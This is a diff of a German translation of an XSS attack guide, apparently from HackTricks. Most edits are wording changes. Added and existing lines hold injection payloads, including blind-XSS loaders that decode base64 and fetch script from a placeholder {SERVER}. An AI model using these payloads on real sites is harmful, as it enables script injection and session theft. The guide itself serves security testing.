 Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
-Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
-_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***\***\*`-->`\*\***\***\*oder \*\*\*\*\*\***`--!>`\*\*_
+Für diese Fälle sollten Sie auch **an die [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.\
+_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***\***\*`-->`\*\***\***\*oder \*\*\*\*\*\***`--!>`\*\**_ geschlossen werden.

-In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
+In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
 ```html
 <script>
 alert(1)
@ -226,7 +226,7 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (kleine XSS)
+### Length bypass (kleine XSSs)

 > [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
 ```html
@ -234,8 +234,8 @@ onerror=alert`1`
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
 Die letzte verwendet 2 Unicode-Zeichen, die sich auf 5 erweitern: telsr\
-Mehr dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
-Um zu überprüfen, in welche Zeichen zerlegt werden, überprüfen Sie [hier](https://www.compart.com/en/unicode/U+2121).
+Weitere dieser Zeichen finden Sie [hier](https://www.unicode.org/charts/normalization/).\
+Um zu überprüfen, in welche Zeichen zerlegt werden, schauen Sie [hier](https://www.compart.com/en/unicode/U+2121).

 ### Click XSS - Clickjacking

@ -303,7 +303,7 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
 ```
 ### Besondere Protokolle innerhalb des Attributs

-Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **willkürlichen JS-Code** auszuführen. Einige erfordern Benutzerinteraktion, andere nicht.
+Dort können Sie die Protokolle **`javascript:`** oder **`data:`**
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Orte, an denen Sie diese Protokolle injizieren können**

-**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img>`)
+**Im Allgemeinen** kann das `javascript:`-Protokoll **in jedem Tag verwendet werden, der das Attribut `href` akzeptiert** und in **den meisten** der Tags, die das **Attribut `src`** akzeptieren (aber nicht `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,7 +351,7 @@ _**In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
+Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@ -361,7 +361,7 @@ Beachten Sie, dass es **nicht funktioniert**, wenn Sie **beide** `URLencode + HT

 **Verwendung von Hex- und Oktal-Kodierung mit `javascript:`**

-Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**:
+Sie können **Hex** und **Oktal-Kodierung** im `src`-Attribut von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@ -373,7 +373,7 @@ Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `i
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### Reverse Tab Nabbing
+### Reverse Tab-Nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
+Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut** ausführen, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@ -438,7 +438,7 @@ Mehrere Tricks mit verschiedenen Kodierungen wurden bereits in diesem Abschnitt
 - **Hex- und Oktal-Kodierung**
 - **Datenkodierung**

-**Umgehungen für HTML-Tags und Attribute**
+**Umgehungen für HTML-Tags und -Attribute**

 Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses).

@ -452,7 +452,7 @@ Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine

 Zum Beispiel könntest du dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`

-Aber, wenn das WAF das style-Attribut filtert, kannst du CSS-Styling-Gadgets verwenden. Wenn du zum Beispiel findest
+Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du zum Beispiel findest

 > .test {display:block; color: blue; width: 100%\}

@ -468,11 +468,11 @@ Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-

 ## Injektion in JavaScript-Code

-In diesem Fall wird dein **Input** **im JS-Code** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
+In diesem Fall wird dein **Input** **innerhalb des JS-Codes** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.

 ### Escaping des \<script>-Tags

-Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag escapen:
+Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag **escapen**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@ -480,7 +480,7 @@ Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nich

 ### Innerhalb des JS-Codes

-Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code nicht ausgeführt wird, wenn es Fehler gibt:
+Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code bei Fehlern nicht ausgeführt wird:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM-Sicherheitsanfälligkeiten**

-Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
+Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
 **Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**

 {{#ref}}
@ -767,7 +767,7 @@ Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn

 ### Sitzungs-Spiegelung

-Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, wenn Kunden um Hilfe bitten und der Administrator Ihnen helfen möchte, sieht er, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.
+Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, zum Beispiel, indem sie es den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber von seiner Sitzung aus.

 Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.

@ -783,7 +783,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a
 ```
 ### Ruby-On-Rails bypass

-Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
+Aufgrund der **RoR-Massenzuweisung** werden Zitate in das HTML eingefügt und dann wird die Zitatbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\
 Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -833,15 +833,15 @@ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer

 ### Nur Buchstaben, Zahlen und Punkte

-Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.
+Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, ist dies auf diese Zeichen beschränkt. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können.

-### Gültige `<script>`-Inhaltstypen für XSS
+### Gültige `<script>` Content-Types für XSS

-(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Inhaltstyp** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:
+(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Content-Type** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:

 > Weigerte sich, das Skript von ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') auszuführen, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.

-Die einzigen **Content-Type**s, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die im const **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
+Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die in der Konstante **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@ -944,9 +944,9 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
 ```
 ### Besondere Ersetzungsmuster

-Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``

-Zum Beispiel in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), wurde dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
+Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.

 ### Chrome-Cache zu XSS

@ -1002,7 +1002,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 // our actual module code
 })
 ```
-Daher ist es, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
+Daher, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1473,6 +1473,31 @@ Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
 <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
 <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
+
+<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
+<!-- Image tag -->
+'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
+
+<!-- Input tag with autofocus -->
+'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
+
+<!-- In case jQuery is loaded, we can make use of the getScript method -->
+'"><script>$.getScript("{SERVER}/script.js")</script>
+
+<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
+javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
+
+<!-- Render an iframe to validate your injection point and receive a callback -->
+'"><iframe src="{SERVER}"></iframe>
+
+<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
+<base href="{SERVER}" />
+
+<!-- Make use of the meta-tag to initiate a redirect -->
+<meta http-equiv="refresh" content="0; url={SERVER}" />
+
+<!-- In case your target makes use of AngularJS -->
+{{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
 ### Regex - Zugriff auf versteckte Inhalte

@ -1520,14 +1545,14 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv

 ### XSS in dynamisch erstellten PDFs

-Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
-Wenn der **PDF-Erstellungs-Bot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
+Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot** zu **überlisten**, der das PDF erstellt, um **willkürlichen JS-Code** auszuführen.\
+Wenn der **PDF-Erstellungsbot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.

 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}

-Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu injizieren:
+Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu **injizieren**:

 {{#ref}}
 pdf-injection.md
@ -1606,5 +1631,6 @@ other-js-tricks.md
 - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
 - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
+- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)

 {{#include ../../banners/hacktricks-training.md}}